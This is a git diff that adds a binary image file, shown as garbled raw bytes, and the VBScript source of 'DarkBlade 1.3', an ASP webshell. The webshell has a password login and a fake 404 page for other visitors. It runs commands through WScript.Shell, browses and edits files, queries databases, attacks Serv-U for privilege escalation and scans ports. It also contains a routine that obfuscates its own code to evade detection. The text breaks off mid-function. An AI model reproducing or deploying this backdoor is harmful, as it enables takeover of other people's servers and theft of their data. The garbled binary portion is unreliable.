R荗绸=?f絼5沤蓫'l哆??n?鳽k粷%$瀏2H鎃槣撁U埣嶝4勾佤泀i3?$?鈙憮巟蛃齘}>G绑|+Z烹瞬I鸌蓓℃v鲼:'岕d僋m*;?r茪椱杄圻? 8獌内杹餤 琫?铛秌瑨些?=㘎z崯?aw债?s苧?s儗w>鮣?= ?M 楸2BY燽膅9蜪?餁肜EP腇xХ蓁嶭?犻?楂蜴烾諡yg爄鲅陃D?忖罻P7 碢?g}仃s??wヰ覭襲8瑍扫蛚r?J蹡廨H(?A鑪婔?釓僁r1?~q?懫>厛囖否窪襎?dDy 彅?炂劲?姅敎しi险?编8?磊棊碋d7o曹湾/RyoQX诋愽?穯错4J蟓疞瑍o环=8腠^xcE?I?>+?]娤?s?S兝~陡巟磌u?嵣? 醑帩)6? ]縎閜*T?u[療鲯朦 f?謦鹖Fx眭擘鱝#qv?蝳3[_-畔堫5(tuhv樉?(鈱談Q抸;uo鴕忭瞀?錂鋓]?3鄙$g&鴊D苍E梜??@`簪8y)?_愲f詆嚂$澸? M 鄖3? + ? ?  } !1AQa"q2亼?#B绷R佯$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼??    + ? ?  w !1AQaq"2?B憽绷 #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬?   ? 鼹+偤鴼癹宗}繃?瞥櫋戫譸?g帣舘鴆艝^(嗋叟=脚?炥u隈摐~食峏I?伯J煷渢鵸剞獥煡琈╛[Z?  g??F漽癀R\┻S懧\巌h縌鯺1?|p烴掙v雏T俄c?RC雬=箝S?鴫?{[芛l.!y??p@?料SFB智O毖韚-j率u=A?#<碴2O?u儮俭聻.蔗餱?贲呠谐鄥N??d彉⊿餃鳙鷒腦ua核铭员墊aBd欢k浍蜓?Rzψ躾饀闟鰬帪我娽?塒Z蟱kk^蟬 泌D嶄^?筹噎?;媄?疫K欢?飾qB坴绋l懬V*?邓朷墠?h悝倔動阏漶強 颤Ei?~轥港欛岤s+ R荗绸=?f絼5沤蓫'l哆??n?鳽k粷%$瀏2H鎃槣撁U埣嶝4勾佤泀i3?$?鈙憮巟蛃齘}>G绑|+Z烹瞬I鸌蓓℃v鲼:'岕d僋m*;?r茪椱杄圻? 8獌内杹餤 琫?铛秌瑨些?=㘎z崯?aw债?s苧?s儗w>鮣?= ?M 楸2BY燽膅9蜪?餁肜EP腇xХ蓁嶭?犻?楂蜴烾諡yg爄鲅陃D?忖罻P7 碢?g}仃s??wヰ覭襲8瑍扫蛚r?J蹡廨H(?A鑪婔?釓僁r1?~q?懫>厛囖否窪襎?dDy 彅?炂劲?姅敎しi险?编8?磊棊碋d7o曹湾/RyoQX诋愽?穯错4J蟓疞瑍o环=8腠^xcE?I?>+?]娤?s?S兝~陡巟磌u?嵣? 醑帩)6? ]縎閜*T?u[療鲯朦 f?謦鹖Fx眭擘鱝#qv?蝳3[_-畔堫5(tuhv樉?(鈱談Q抸;uo鴕忭瞀?錂鋓]?3鄙$g&鴊D苍E梜??@`簪8y)?_愲f詆嚂$澸? M 鄖3? + ? ?  } !1AQa"q2亼?#B绷R佯$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼??    + ? ?  w !1AQaq"2?B憽绷 #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬?   ? 鼹+偤鴼癹宗}繃?瞥櫋戫譸?g帣舘鴆艝^(嗋叟=脚?炥u隈摐~食峏I?伯J煷渢鵸剞獥煡琈╛[Z?  g??F漽癀R\┻S懧\巌h縌鯺1?|p烴掙v雏T俄c?RC雬=箝S?鴫?{[芛l.!y??p@?料SFB智O毖韚-j率u=A?#<碴2O?u儮俭聻.蔗餱?贲呠谐鄥N??d彉⊿餃鳙鷒腦ua核铭员墊aBd欢k浍蜓?Rzψ躾饀闟鰬帪我娽?塒Z蟱kk^蟬 泌D嶄^?筹噎?;媄?疫K欢?飾qB坴绋l懬V*?邓朷墠?h悝倔動阏漶強 颤Ei?~轥港欛岤s+ R荗绸=?f絼5沤蓫'l哆??n?鳽k粷%$瀏2H鎃槣撁U埣嶝4勾佤泀i3?$?鈙憮巟蛃齘}>G绑|+Z烹瞬I鸌蓓℃v鲼:'岕d僋m*;?r茪椱杄圻? 8獌内杹餤 琫?铛秌瑨些?=㘎z崯?aw债?s苧?s儗w>鮣?= ?M 楸2BY燽膅9蜪?餁肜EP腇xХ蓁嶭?犻?楂蜴烾諡yg爄鲅陃D?忖罻P7 碢?g}仃s??wヰ覭襲8瑍扫蛚r?J蹡廨H(?A鑪婔?釓僁r1?~q?懫>厛囖否窪襎?dDy 彅?炂劲?姅敎しi险?编8?磊棊碋d7o曹湾/RyoQX诋愽?穯错4J蟓疞瑍o环=8腠^xcE?I?>+?]娤?s?S兝~陡巟磌u?嵣? 醑帩)6? ]縎閜*T?u[療鲯朦 f?謦鹖Fx眭擘鱝#qv?蝳3[_-畔堫5(tuhv樉?(鈱談Q抸;uo鴕忭瞀?錂鋓]?3鄙$g&鴊D苍E梜??@`簪8y)?_愲f詆嚂$澸? M 鄖3? + ? ?  } !1AQa"q2亼?#B绷R佯$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼??    + ? ?  w !1AQaq"2?B憽绷 #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬?   ? 鼹+偤鴼癹宗}繃?瞥櫋戫譸?g帣舘鴆艝^(嗋叟=脚?炥u隈摐~食峏I?伯J煷渢鵸剞獥煡琈╛[Z?  g??F漽癀R\┻S懧\巌h縌鯺1?|p烴掙v雏T俄c?RC雬=箝S?鴫?{[芛l.!y??p@?料SFB智O毖韚-j率u=A?#<碴2O?u儮俭聻.蔗餱?贲呠谐鄥N??d彉⊿餃鳙鷒腦ua核铭员墊aBd欢k浍蜓?Rzψ躾饀闟鰬帪我娽?塒Z蟱kk^蟬 泌D嶄^?筹噎?;媄?疫K欢?飾qB坴绋l懬V*?邓朷墠?h悝倔動阏漶強 颤Ei?~轥港欛岤s+ R荗绸=?f絼5沤蓫'l哆??n?鳽k粷%$瀏2H鎃槣撁U埣嶝4勾佤泀i3?$?鈙憮巟蛃齘}>G绑|+Z烹瞬I鸌蓓℃v鲼:'岕d僋m*;?r茪椱杄圻? 8獌内杹餤 琫?铛秌瑨些?=㘎z崯?aw债?s苧?s儗w>鮣?= ?M 楸2BY燽膅9蜪?餁肜EP腇xХ蓁嶭?犻?楂蜴烾諡yg爄鲅陃D?忖罻P7 碢?g}仃s??wヰ覭襲8瑍扫蛚r?J蹡廨H(?A鑪婔?釓僁r1?~q?懫>厛囖否窪襎?dDy 彅?炂劲?姅敎しi险?编8?磊棊碋d7o曹湾/RyoQX诋愽?穯错4J蟓疞瑍o环=8腠^xcE?I?>+?]娤?s?S兝~陡巟磌u?嵣? 醑帩)6? ]縎閜*T?u[療鲯朦 f?謦鹖Fx眭擘鱝#qv?蝳3[_-畔堫5(tuhv樉?(鈱談Q抸;uo鴕忭瞀?錂鋓]?3鄙$g&鴊D苍E梜??@`簪8y)?_愲f詆嚂$澸? M 鄖3? + ? ?  } !1AQa"q2亼?#B绷R佯$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼??    + ? ?  w !1AQaq"2?B憽绷 #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬?   ? 鼹+偤鴼癹宗}繃?瞥櫋戫譸?g帣舘鴆艝^(嗋叟=脚?炥u隈摐~食峏I?伯J煷渢鵸剞獥煡琈╛[Z?  g??F漽癀R\┻S懧\巌h縌鯺1?|p烴掙v雏T俄c?RC雬=箝S?鴫?{[芛l.!y??p@?料SFB智O毖韚-j率u=A?#<碴2O?u儮俭聻.蔗餱?贲呠谐鄥N??d彉⊿餃鳙鷒腦ua核铭员墊aBd欢k浍蜓?Rzψ躾饀闟鰬帪我娽?塒Z蟱kk^蟬 泌D嶄^?筹噎?;媄?疫K欢?飾qB坴绋l懬V*?邓朷墠?h悝倔動阏漶強 颤Ei?~轥港欛岤s+ R荗绸=?f絼5沤蓫'l哆??n?鳽k粷%$瀏2H鎃槣撁U埣嶝4勾佤泀i3?$?鈙憮巟蛃齘}>G绑|+Z烹瞬I鸌蓓℃v鲼:'岕d僋m*;?r茪椱杄圻? 8獌内杹餤 琫?铛秌瑨些?=㘎z崯?aw债?s苧?s儗w>鮣?= ?M 楸2BY燽膅9蜪?餁肜EP腇xХ蓁嶭?犻?楂蜴烾諡yg爄鲅陃D?忖罻P7 碢?g}仃s??wヰ覭襲8瑍扫蛚r?J蹡廨H(?A鑪婔?釓僁r1?~q?懫>厛囖否窪襎?dDy 彅?炂劲?姅敎しi险?编8?磊棊碋d7o曹湾/RyoQX诋愽?穯错4J蟓疞瑍o环=8腠^xcE?I?>+?]娤?s?S兝~陡巟磌u?嵣? 醑帩)6? ]縎閜*T?u[療鲯朦 f?謦鹖Fx眭擘鱝#qv?蝳3[_-畔堫5(tuhv樉?(鈱談Q抸;uo鴕忭瞀?錂鋓]?3鄙$g&鴊D苍E梜??@`簪8y)?_愲f詆嚂$澸? M 鄖3? \ No newline at end of file diff --git a/net-friend/asp/121.jpg b/net-friend/asp/121.jpg new file mode 100644 index 0000000..6be6c70 Binary files /dev/null and b/net-friend/asp/121.jpg differ diff --git a/net-friend/asp/DarkBlade1.3--寮哄ぇ鐨刟sp澶ч┈/indexx.asp b/net-friend/asp/DarkBlade1.3--寮哄ぇ鐨刟sp澶ч┈/indexx.asp new file mode 100644 index 0000000..9005960 --- /dev/null +++ b/net-friend/asp/DarkBlade1.3--寮哄ぇ鐨刟sp澶ч┈/indexx.asp @@ -0,0 +1,4165 @@ +<%@ LANGUAGE='VBScript' CODEPAGE='65001'%> +<% + Response.Buffer=True + Response.CharSet="utf-8" + Server.ScriptTimeOut=300 + + '-------------------------------Config------------------------------- + 'Private version, do not share it to anybody! + 'DarkBlade 1.3 by B100d5w0rd, msn:bloodsword@live.cn + 'Final version, no more update + 'Thanks to these hackers:Bin, Luyu, Sht + + Const pass="27C839C78A3067DA5175109708C28A" 'tencentisapieceofshit + Const needEncode=False + Const encodeNum=20 + Const isDebugMode=False + Const encodeCut="_" + Const pamtoEncode="thePath|cmdPath|cmdStr|connStr|queryStr|regPath|pubPam|txtObjInfo|StrTable|mdbPath|searchkey|suUser|suPass|suPath|suCmd|targetUrl|portList|dicList|ipList|destName|loadpath" + Const showLogin="login" + Const defaultChr="GB2312" + Const aspExt="asp|asa|cer|cdx" + Const textExt="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config" + Const sqlPageSize=50 + Const fToPre="zzzzzzzz.html" + Const bOtherUser=False ' + '-------------------------------Config------------------------------- + + + + '-------------------Transform sign------------------ + Const transformSign="'-------------------Transform sign------------------" + Const notToTransform="upload|action|file|password|text|server|title|user|login|value|port|filename|name|htmlEnc|type|http|pass|files|path|attributes|goaction|info|download|logout|login|content|charset|font|color|size|value|width|rows|class|name|value|width|size|color|save|down|span|echo|form|byval|find|vbcrlf" + Const strs_toTransform="command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCounter|PermissionChecker|BrowserType|ContentRotator|SystemRoot|ComSpec|PATHEXT|PROCESSOR|ARCHITECTURE|IDENTIfIER|REVISION|Physical|Memory|Installed|NUMBER_OF_PROCESSORS|PROCESSOR_ARCHITECTURE|Os2LibPath|NameServer|DefaultGateway|HKEY|HKLM|LOCAL_MACHINE|SOFTWARE|CurrentVersion|Winlogon|CurrentControlSet|ControlSet001|WinStations|RDP-Tcp|PROCESSOR_IDENTIfIER|PROCESSOR_LEVEL|PROCESSOR_REVISION|Windows NT|AutoAdminLogon|DefaultUserName|DefaultPassword|ComputerName|DisplayLastUserName|anonymous|LanmanServer|AutoShareServer|EnableSharedNetDrives|EnableSecurityFilters|Engines|SandBoxMode|openrowSet|sp_oacreate|sp_oamethod|sp_oasetproperty|net user|PasswordExpired|Scripting.|.FileSystemObject|Shell.|.Application|WScript.|.Shell|.Stream|Adodb.|.Connection|.RecordSet|MSXML2.|.XMLHTTP|SoftArtisans.|.FileUp|.FileManager|Persits.|MSWC.|xplog70|addextEndedproc|master|cmdShell|regwrite|system32|SetDOMAIN|TZOEnable|43958|Serv-U|SetUSERSetUP|LoginMesFile|RelPaths|DELETEDOMAIN|MAINTENANCE|Maintenance|HomeDirDrive|NeedSecure|HideHidden|AlwaysAllowLogin|ChangePassword|QuotaEnable|SpeedLimitUp|SpeedLimitDown|MaxNrUsers|IdleTimeOut|RWAMELCDP|upadmin|LocalAdministrator|13709620|444553540000|72C24DD5|98424B88AFB8|Server.Execute|Eval|localgroup|MaxUsersLoginPerIP|Server.Execute|ShellExecute|Terminal|Unauthorized|DarkBladePass|AuThenticate|AUTH_USER|WinDir|ExecuteGlobal|sp_addsrvrolemember" + Const funcs_toTransform="SavetoFile|CopyFile|OpenTextFile|CreateTextFile|DeleteFile|GetParentFolder|GetExtension|CreateFolder|MoveFolder|GetFileName|CopyFolder|MoveFile|DeleteFolder|NameSpace|Environment|ExpandEnvironmentStrings|RegRead|Exec|Run|GetSystemInformation|Save|CopyHere|MoveHere|ReadAll|DriveLetter|DateCreated|LastModIfied|LastAccessed|Filesystem|TotalSize|PasswordMinimumLength|AccountDisabled|IsAccountLocked|AccountExpirationDate|LoadFromFile" + Dim currentPath,tmpPath,objCountFile,tempFileData,splitArray,strArray_toTransform,str_transformed,varArray_forbidden,funcArray_toTransform,total,arr_notToTransform,var_toTransform_list,strArr_toTransform,funcArr_toTransform,regex,filetopretEnd,nopretEnd,strForbidden + strForbidden="dim|sub|end|for|and|now|get|Set|chr|int|day|int|rnd|not|len|mid|sun|asc|cos|app|xor|imp|fix|atn|err|rgb|else|const|true|false|call|each|then|next|redim|error|null|empty|until|loop|case|step|log|dir|stop|str" + Set regex=new RegExp + regex.Global=True + regex.IgnoreCase=True + regex.MultiLine=True + arr_notToTransform=Split(notToTransform,"|") + + funcArr_toTransform=Split(funcs_toTransform,"|") + var_toTransform_list="" + strArr_toTransform=Split(strs_toTransform,"|") + strUbound=UBound(strArr_toTransform) + filetopretEnd=request("filetopretEnd") + nopretEnd=request("nopretEnd") + serveren=request("serveren") + Call transinit() + Sub transinit() + If filetopretEnd=""And nopretEnd=""Then + Call userInit() + response.End + Else + Call Transform() + End If + Response.Redirect"?goaction=login" + End Sub + Sub userInit() + Dim fsoX,theFolder + Set fsoX=CreateObj("Scripting.FileSystemObject") + Set theFolder=fsoX.GetFolder(mapath(".")) + echo"
    " + echo"Running first time,choose the file to pretEnd as." + echo"" + echo"No pretEnding
    " + echo"Server Encode:
    " + echo"" + echo"
    " + End Sub + Sub Transform() + Dim fsoX,crlf + crlf=Chr(13)&Chr(10) + currentPath=mapath(getCurrentFileName(request.ServerVariables("URL"))) + tempFileData=readSelf(currentPath) + splitArray=Split(tempFileData,transformSign) + If nopretEnd=""Then nopretEnd=0 + tempFileData=Replace(splitArray(0)&splitArray(3),"encodeNum=20","encodeNum="&getRndNum(20,81)) + If nopretEnd<>1 And filetopretEnd<>""Then tempFileData=Replace(tempFileData,"zzzzzzzz.html",filetopretEnd) + If serveren<>""Then tempFileData=Replace(tempFileData,"GB2312",serveren) + tempFileData=Replace(tempFileData,Chr(9),"") + tempFileData=Replace(tempFileData,crlf&crlf,crlf) + tempFileData=Replace(tempFileData,crlf&crlf,crlf) + do_varTransform() + do_strTransform() + do_funcTransform() + saveSelf currentPath,tempFileData + End Sub + + Function readSelf(thePath) + Set fsoX=CreateObj("Scripting.FileSystemObject") + Set objCountFile=fsoX.OpenTextFile(thePath,1,True) + readSelf=objCountFile.ReadAll + objCountFile.Close + Set objCountFile=Nothing + End Function + Sub saveSelf(thePath,fileContent) + Set fsoX=CreateObj("Scripting.FileSystemObject") + Set objCountFile=fsoX.CreateTextFile(thePath,True) + objCountFile.Write tempFileData + objCountFile.Close + Set objCountFile=Nothing + End Sub + + Sub do_varTransform + + 'Sub/Function Transform + Dim matchColl,arr_varToTransform,matchArr + regex.Pattern="(sub|function) +[\w]+(?= *\()" + regex.Global=True + regex.IgnoreCase=True + regex.MultiLine=True + Set matchColl=regex.Execute(tempFileData) + For Each matched In matchColl + matched=regRep(matched,"(sub|function) +","",False) + addToVarArr matched + Next + For Each tmpVar_toTramsform In Split(var_toTransform_list,"|") + do_varReplace tmpVar_toTramsform,0 + Next + var_toTransform_list="" + 'Var Transform + regex.Pattern="dim +[\w ,]+" + Set matchColl=regex.Execute(tempFileData) + For Each matched In matchColl + matched=Lcase(matched) + matched=Trim(Replace(Lcase(matched),"dim ","")) + For Each varToTransform In Split(matched,",") + addToVarArr varToTransform + Next + Next + regex.Pattern="const\s+[\w]+(?=\s*=)" + Set matchColl=regex.execute(tempFileData) + For Each matched In matchColl + matched=Replace(Lcase(matched),"const","") + matched=Trim(Replace(Lcase(matched),"set","")) + addToVarArr matched + Next + 'Parameter Transform + regex.Pattern="(function|sub)\s+[\w]+\([\w,]+" + Set matchColl=regex.execute(tempFileData) + For Each matched In matchColl + matched=getRight(Lcase(matched),"(") + For Each subPam In Split(matched,",") + If InStr(subPam," ")>0 Then subPam=getRight(subPam," ") + addToVarArr Trim(subPam) + Next + Next + regex.Pattern="case\s*""[^\r\n]+""" + Set matchColl=regex.execute(tempFileData) + For Each matched In matchColl + matched=regRep(matched,"case\s*""","",False) + matched=Replace(matched,"""","") + If InStr(matched,",")>0 Then + For Each subMacthed In Split(matched,",") + addToVarArr Trim(subMacthed) + Next + Else + addToVarArr matched + End If + Next + For Each tmpVar_toTramsform In Split(var_toTransform_list,"|") + do_varReplace tmpVar_toTramsform,3 + Next + var_toTransform_list="" + + End Sub + Sub do_varReplace(varToTransform,intType) + If varToTransform=""Then Exit Sub + Dim varTransformed,strPattern + varTransformed=getRndStr() + strForbidden=strForbidden&"|"&Lcase(varTransformed) + varToTransform=Replace(varToTransform,".","\.") + Select Case intType + Case 0 + strPattern="([^\w\\])"&varToTransform&"(?![\w\\])" + tempFileData=regRep(tempFileData,strPattern,"$1"&varTransformed,False) + Case Else + strPattern="([^\w\\])"&varToTransform&"(?![\w\\])" + tempFileData=regRep(tempFileData,strPattern,"$1"&varTransformed,False) + End Select + End Sub + Sub do_strTransform() + For Each str_toTransform In strArr_toTransform + do_strReplace str_toTransform + Next + End Sub + Sub do_strReplace(str) + If str=""Then Exit Sub + Dim rndNum,str_transformed,strPattern + rndNum=getRndNum(2,Len(str)-3) + str_transformed=Left(str,rndNum)&"""&"&getRndStr()&"&"""&Right(str,Len(str)-rndNum) + strPattern="\b"&Replace(Replace(str,".","\."),"_","\_")&"\b" + echo strPattern&"
    " + tempFileData=regRep(tempFileData,strPattern,str_transformed,False) + End Sub + Sub do_funcTransform + Dim tmpFunc,matchColl,matched + regex.Global=True + regex.IgnoreCase=True + regex.MultiLine=True + For Each tmpFunc In funcArr_toTransform + regex.Pattern="[^\n\r]+\."&tmpFunc&"\b[^\n\r]+" + Set matchColl=regex.Execute(tempFileData) + For Each matched In matchColl + do_funcReplace matched,tmpFunc + Next + Next + End Sub + Sub do_funcReplace(strLine,func_toTransform) + If func_toTransform=""Or strLine=""Then Exit Sub + Dim tmpFunc,func_transformed,rndStr,rndNum,line_transformed + If Left(Lcase(strLine),3)="if "Or Left(Lcase(strLine),4)="for "Then Exit Sub + rndStr=getRndStr() + rndNum=getRndNum(1,Len(func_toTransform)-1) + func_transformed=Left(func_toTransform,rndNum)&"""&"&rndStr&"&"""&Right(func_toTransform,Len(func_toTransform)-rndNum) + regex.Global=True + regex.IgnoreCase=True + regex.MultiLine=True + regex.Pattern="""[^&]*\b"&func_toTransform&"\b[^&]*""" + If Left(line_transformed,8)="execute " Or regex.test(strLine)Then + line_transformed=Replace(strLine,func_toTransform,func_transformed,1,-1,1) + Else + line_transformed=Replace(strLine,"""","""""") + line_transformed=Replace(line_transformed,func_toTransform,func_transformed,1,-1,1) + line_transformed="execute """&line_transformed&"""" + End If + tempFileData=Replace(tempFileData,strLine,line_transformed) + End Sub + + Sub addToVarArr(str) + If Not isTransAble(str)Then Exit Sub + If InStr(var_toTransform_list,"|"&str)>0 Or InStr(var_toTransform_list,str&"|")>0 Then Exit Sub + If var_toTransform_list=""Then + var_toTransform_list=str + Else + var_toTransform_list=var_toTransform_list&"|"&str + End If + End Sub + Function isTransAble(str) + If Len(str)<4 Then + isTransAble=False + Exit Function + End If + For Each strNotTransform In arr_notToTransform + If strNotTransform=Lcase(str)Then + isTransAble=False + Exit Function + End If + Next + isTransAble=True + End Function + Function getCurrentFileName(url) + getCurrentFileName=Right(url,Len(url)-InStrrev(url,"/")) + End Function + Function getRndStr() + Dim rndStr + rndStr="" + Do While not chkRndStr(rndStr) + rndStr="" + For i=1 To getRndNum(3,3) + rndStr=rndStr&getRndChar() + Next + Loop + getRndStr=rndStr + End Function + Function chkRndStr(Str) + Str=Lcase(str) + If Left(Str,1)="h"Or Len(str)<3 Then + chkRndStr=False + Exit Function + End If + If InStr(strForbidden,"|"&Str)>0 Or InStr(strForbidden,Str&"|")>0 Then + chkRndStr=False + Exit Function + End If + chkRndStr=true + End Function + Function getRndChar() + Dim SYMBOL_Char:SYMBOL_Char="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + Randomize + getRndChar=Mid(SYMBOL_Char,getRndNum(1,52),1) + End Function + Function getRndNum(a,b) + Randomize + getRndNum=Int(b * rnd+a) + End Function + + Function regRep(str,strPattern,replaced,needFormat) + If needFormat Then + strPattern=Replace(strPattern,"\","\\") + strPattern=Replace(strPattern,".","\.") + strPattern=Replace(strPattern,"?","\?") + strPattern=Replace(strPattern,"+","\+") + strPattern=Replace(strPattern,"(","\(") + strPattern=Replace(strPattern,")","\)") + strPattern=Replace(strPattern,"*","\*") + strPattern=Replace(strPattern,"[","\[") + strPattern=Replace(strPattern,"]","\]") + End If + regex.Pattern=strPattern + regRep=regex.Replace(str,replaced) + End Function + + '-------------------Transform sign------------------ + + Dim goaction,thePath,cmdStr,connStr,regPath,pubPam,serverName,objXml,objWs,objFso,objSa,objStream,objRe,pagePath,pageName,startTime,EndTime,aspPath,rootPath,errMsg,txtObjInfo,trId,SessionKey,SessionValue,cmdPath,formId,subAct,truePath,localName,strFileMethod,fileContent,newOneName,newOneType,dbType,conn,strTable,intPage,mdbName,dbname,packMethod,mdbName2,mdbPath,searchkey,useReg,suUser,suPass,suPort,suPath,suCmd,deldomain,newdomain,newuser,suquit,loginuser,loginpass,mt,targetUrl,ipList,portList,dicList,outPath,outExt,cmdDoTExeFiLe,userPass,queryStr,sversion,cookiePre,cookiePass,strObj,strReplaceTo,needReplace,searchExt,getInc,chkPath,needecho,datem,strRefFile,fsoAttrib,logged,shellenv,nuser,npass,nport,cls_upload,destName,loadPath,strfrm,sqlver,moveme + sversion="DarkBlade 1.3 Private" + cookiePre="DarkBlade" + cookiePass="DarkBladePass" + doInit() + logged=isIn() + If logged Then + pamInit() + Else + goaction=request("goaction") + End If + If Not logged And goaction<>showLogin Then show404() + If bOtherUser And Trim(getServerVariable("AUTH_USER"))="" Then + Response.Status="401 Unauthorized" + Response.Addheader"WWW-AuThenticate","BASIC" + If getServerVariable("AUTH_USER")=""Then Response.End() + End If + Select Case goaction + Case showLogin + pageLogin() + Case"objOnSrv" + PageObjOnSrv() + Case"userList" + PageUserList() + Case"CSInfo" + PageCSInfo() + Case"WsCmdRun" + PageWsCmdRun() + Case"infoAboutSrv" + PageInfoAboutSrv() + Case"MsDataBase" + PageMsDataBase() + Case"OtherTools" + PageOtherTools() + Case"TxtSearcher" + PageTxtSearcher() + Case"ServUp" + PageServUp() + Case"ScanShell" + PageScan() + Case"Logout" + PagedoLogout() + Case"AddToMdb" + PageAddToMdb() + Case"SaFileExplorer","FsoFileExplorer" + PageFileExplorer() + Case Else + PageFileExplorer() + End Select + doFin + + Sub doInit() + If Not isDebugMode Then On Error Resume Next + startTime=Timer() + Dim formContent,queryContent,upformContent,Sessions,Session_Array,sescontent,strTodecode,pamArrtoEncode + servurl=getServerVariable("URL") + Set objXml=CreateObj("MSXML2.XMLHTTP") + Set objWs=CreateObj("WScript.Shell") + Set objFso=CreateObj("Scripting.FileSystemObject") + Set objSa=CreateObj("Shell.Application") + If Not IsObject(objWs)Then Set objWs=CreateObj("WScript.Shell.1") + If Not IsObject(objSa)Then Set objSa=CreateObj("Shell.Application.1") + Set objRe=new RegExp + objRe.Global=True + objRe.IgnoreCase=True + objRe.MultiLine=True + serverName=getServerVariable("SERVER_NAME") + pagePath=getServerVariable("PATH_INFO") + pageName=Lcase(getRight(pagePath,"/")) + aspPath=mapath(".") + rootPath=mapath("/") + formId=1 + trId=1 + End Sub + Sub pamInit() + For Each queryContent In request.queryString + execute queryContent&"=request.queryString("""&queryContent&""")" + Next + For Each formContent In request.Form + execute formContent&"=request.form("""&formContent&""")" + Next + If InStr(getServerVariable("CONTENT_TYPE"),"multipart/form-data")=1 Then + Set cls_upload=new upload_5xsoft + For Each upformContent In cls_upload.objForm + execute upformContent&"=cls_upload.objForm("""&upformContent&""")" + Next + End If + pamArrtoEncode=Split(pamtoEncode,"|") + For Each strTodecode In pamArrtoEncode + execute""&strTodecode&"=secretDecode("&strTodecode&")" + Next + If Right(thePath,1)="\"And Len(thePath)>3 Then thePath=Left(thePath,Len(thePath)-1) + End Sub + Sub doFin() + If Not isDebugMode Then On Error Resume Next + Dim timeProcessed + objXml.abort + Set objXml=Nothing + Set objWs=Nothing + Set objFso=Nothing + Set objSa=Nothing + Set objRe=Nothing + EndTime=timer() + timeProcessed=EndTime-startTime + echo"
    " + doTable"100%" + echo"" + echo"" + echoLine errMsg + timeProcessed=FormatNumber(timeProcessed,5) + If Left(timeProcessed,1)="."Then timeProcessed="0"&timeProcessed + echoLine"
    " + echo"
    Processed in :"&timeProcessed&"seconds
    " + Response.End() + End Sub + + Sub pageLogin() + If Not isDebugMode Then On Error Resume Next + userPass=request("userPass") + If userPass<>""Then + userPass=CFSEncode(userPass) + If CFSEncode(userPass)=pass Then + Response.Cookies(cookiePass)=userPass + Response.Redirect(pagePath) + Else + errMsgAdd"Fuck you,get out!" + End If + End If + showTitle"Login" + echo"

    " + doForm False + echo"Password : " + doInput"password","userPass","","30","" + echo" " + doSubmit"Get In" + echo"
    " + End Sub + + Sub PageInfoAboutSrv() + If Not isDebugMode Then On Error Resume Next + Dim i,objWshSysEnv,aryExEnvList,strExEnvList,intCpuNum,strCpuInfo,strOS,terminalPortPath,terminalPortKey,termPort + strExEnvList="SystemRoot|WinDir|ComSpec|TEMP|TMP|NUMBER_OF_PROCESSORS|OS|Os2LibPath|Path|PATHEXT|PROCESSOR_ARCHITECTURE|"&_ + "PROCESSOR_IDENTIfIER|PROCESSOR_LEVEL|PROCESSOR_REVISION" + aryExEnvList=Split(strExEnvList,"|") + Set objWshSysEnv=objWs.Environment("SYSTEM") + intCpuNum=getServerVariable("NUMBER_OF_PROCESSORS") + If IsNull(intCpuNum)Or intCpuNum=""Then + intCpuNum=objWshSysEnv("NUMBER_OF_PROCESSORS") + End If + strOS=getServerVariable("OS") + If IsNull(strOS)Or strOS=""Then + strOS=objWshSysEnv("OS") + strOs=strOs&"(probably Windows 2003)" + End If + strCpuInfo=objWshSysEnv("PROCESSOR_IDENTIfIER") + showTitle"Server Infomation" + doTable"100%" + doTh + echo"" + echo"Server parameters:" + echo"" + doTtr + doTr 0 + doTd"Server name:","" + doTd serverName,"" + doTtr + doTr 1 + doTd"Server IP:","" + doTd getServerVariable("LOCAL_ADDR"),"" + doTtr + doTr 0 + doTd"Server port:","" + doTd getServerVariable("SERVER_PORT"),"" + doTtr + doTr 1 + doTd"Server memory","" + doTd getTheSize(objSa.GetSystemInformation("PhysicalMemoryInstalled")),"" + doTtr + doTr 0 + doTd"Server time","" + doTd Now,"" + doTtr + doTr 1 + doTd"Server soft","" + doTd getServerVariable("SERVER_SOFTWARE"),"" + doTtr + doTr 0 + doTd"Script timeout","" + doTd Server.ScriptTimeout,"" + doTtr + doTr 1 + doTd"Number of cpus","" + doTd intCpuNum,"" + doTtr + doTr 0 + doTd"Info of cpus","" + doTd strCpuInfo,"" + doTtr + doTr 1 + doTd"Server OS","" + doTd strOS,"" + doTtr + doTr 0 + doTd"Server script engine","" + doTd ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion,"" + doTtr + doTr 1 + doTd"File full path","" + doTd getServerVariable("PATH_TRANSLATED"),"" + doTtr + trId=0 + For 